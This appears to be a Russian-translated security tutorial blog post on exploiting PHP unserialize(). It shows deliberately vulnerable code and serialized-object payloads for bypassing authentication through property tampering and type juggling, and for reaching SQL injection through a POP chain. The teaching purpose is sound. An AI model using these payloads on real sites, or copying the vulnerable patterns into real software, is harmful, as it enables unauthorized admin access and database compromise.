Достижение обхода аутентификации и внедрения SQL с помощью unserialize () PHP

В прошлый раз мы говорили о том, как десериализация PHP приводит к уязвимостям и как злоумышленник может использовать ее для достижения RCE.





Погружение в unserialize (): цепочки POP
Переход от unserialize () PHP к эксплойтам цепочек POP medium.com



Сегодня давайте обсудим некоторые из различных способов, которыми злоумышленник может использовать уязвимость unserialize (). Даже если RCE невозможно, злоумышленники могут использовать уязвимости unserialize () для обхода аутентификации и внедрения SQL.

Обход аутентификации

Помимо RCE, проблемы unserialize () часто используются для обхода элементов управления аутентификацией приложения. Это можно сделать двумя способами: манипулируя свойствами объекта, которые используются в качестве контроля доступа, и используя проблемы манипулирования типами, чтобы обмануть приложение. Оба метода полагаются на тот факт, что конечный пользователь может управлять объектом, переданным в unserialize ().

Манипулирование свойствами объекта для обхода аутентификации

Один из самых простых и распространенных способов использования злоумышленником уязвимости десериализации - это манипулирование свойствами объекта для обхода аутентификации.

class User{
  public $username = “vickie”;
  public $type = “Regular User”;
  # some more PHP code
}

Допустим, приложение использует класс под названием User для передачи информации о пользователе во время процесса регистрации. Пользователь заполнит форму, и информация будет передана в серверную часть через сериализованный объект User.

Поскольку конечный пользователь управляет объектом Пользователь, он может просто манипулировать этим объектом и зарегистрироваться как пользователь с правами администратора.

class User{
  public $username = “vickie”;
  public $type = “Admin User”;
  # some more PHP code
}

Использование манипуляции типами для обхода аутентификации

Другой способ, которым злоумышленник может добиться обхода аутентификации с ошибкой десериализации, - это использовать функцию манипулирования типами PHP. Поскольку злоумышленник имеет полный контроль над объектом, переданным в приложение, он может контролировать типы переменных свойств объекта.

Затем она может манипулировать переменным типом свойства, чтобы заставить PHP жонглировать типом, тем самым обходя контроль доступа. Например, если это код, используемый приложением для входа в систему администраторов:

parse_str($_POST['user_password'], $password_array);
$pw = unserialize($password_array[0]);
if ($pw->password == “Admin_Password”) {login_as_admin();}

Злоумышленник может отправить тело POST, подобное этому, чтобы войти в систему как admin:

class Password{
  public $password = 0;
  # some more PHP code
}
# submit this string as POST body:
print urlencode(serialize(new Password)); 

Это будет работать, потому что (0 == «Admin_Password») оценивается как True в PHP. Когда PHP создан для сравнения переменных разных типов, он будет пытаться преобразовать их в общий тип переменных. В этом случае «Admin_Password» будет преобразован в целое число 0, поэтому (0 == «Admin_Password») совпадает с (0 == 0 ).

SQL-инъекция

Уязвимости unserialize () также могут привести к SQL-инъекции, если это позволяют условия. Вот пример того, как это можно использовать. (Этот пример взят с сайта owasp.org.)

Использование цепочек POP для внедрения SQL-кода

(Если вы не знакомы с принципами работы POP-цепочек, обязательно сначала прочтите о них здесь.)

Предположим, приложение делает это где-то в коде: оно определяет класс Example3 и десериализует неанитизированный пользовательский ввод из параметра data POST.

class Example3
{
   protected $obj;

   function __construct()
   {
      // some PHP code...
   }

   function __toString()
   {
      if (isset($this->obj)) return $this->obj->getValue();
   }
}

// some PHP code...

$user_data = unserialize($_POST['data']);

// some PHP code...

__toString () - это волшебная функция, которая вызывается, когда класс обрабатывается как строка. В этом случае, когда экземпляр Example3 обрабатывается как строка, он возвращает результат метода getValue () своего свойства $ obj.

Допустим, где-то в приложении также определен класс SQL_Row_Value. У него есть метод getValue (), который выполняет SQL-запрос. SQL-запрос принимает входные данные из свойства $ _table экземпляра SQL_Row_Value.

class SQL_Row_Value
{
   private $_table;

   // some PHP code...

   function getValue($id)
   {
      $sql = "SELECT * FROM {$this->_table} WHERE id = " . (int)$id;
      $result = mysql_query($sql, $DBFactory::getConnection());
      $row = mysql_fetch_assoc($result);

      return $row['value'];
   }
}

Затем злоумышленник может выполнить SQL-инъекцию, управляя $ obj в Example3: следующий код создаст экземпляр Example3 с $ obj установлен на момент времени SQL_Row_Value, а $ _table установлен на строку «SQL Injection».

class SQL_Row_Value
{
   private $_table = "SQL Injection";
}

class Example3
{
   protected $obj;

   function __construct()
   {
      $this->obj = new SQL_Row_Value;
   }
}

print urlencode(serialize(new Example3));

Таким образом, всякий раз, когда экземпляр Example3 злоумышленника обрабатывается как строка, будет выполняться метод get_Value () $ obj. Таким образом, метод get_Value () SQL_Row_Value будет выполняться со строкой $ _table, установленной на «SQL Injection».

Злоумышленник теперь достиг ограниченного внедрения SQL, поскольку он может контролировать строку, передаваемую в запрос SQL «SELECT * FROM {$ this -› _ table} WHERE id = «. (int) $ id;

Как всегда, спасибо за чтение!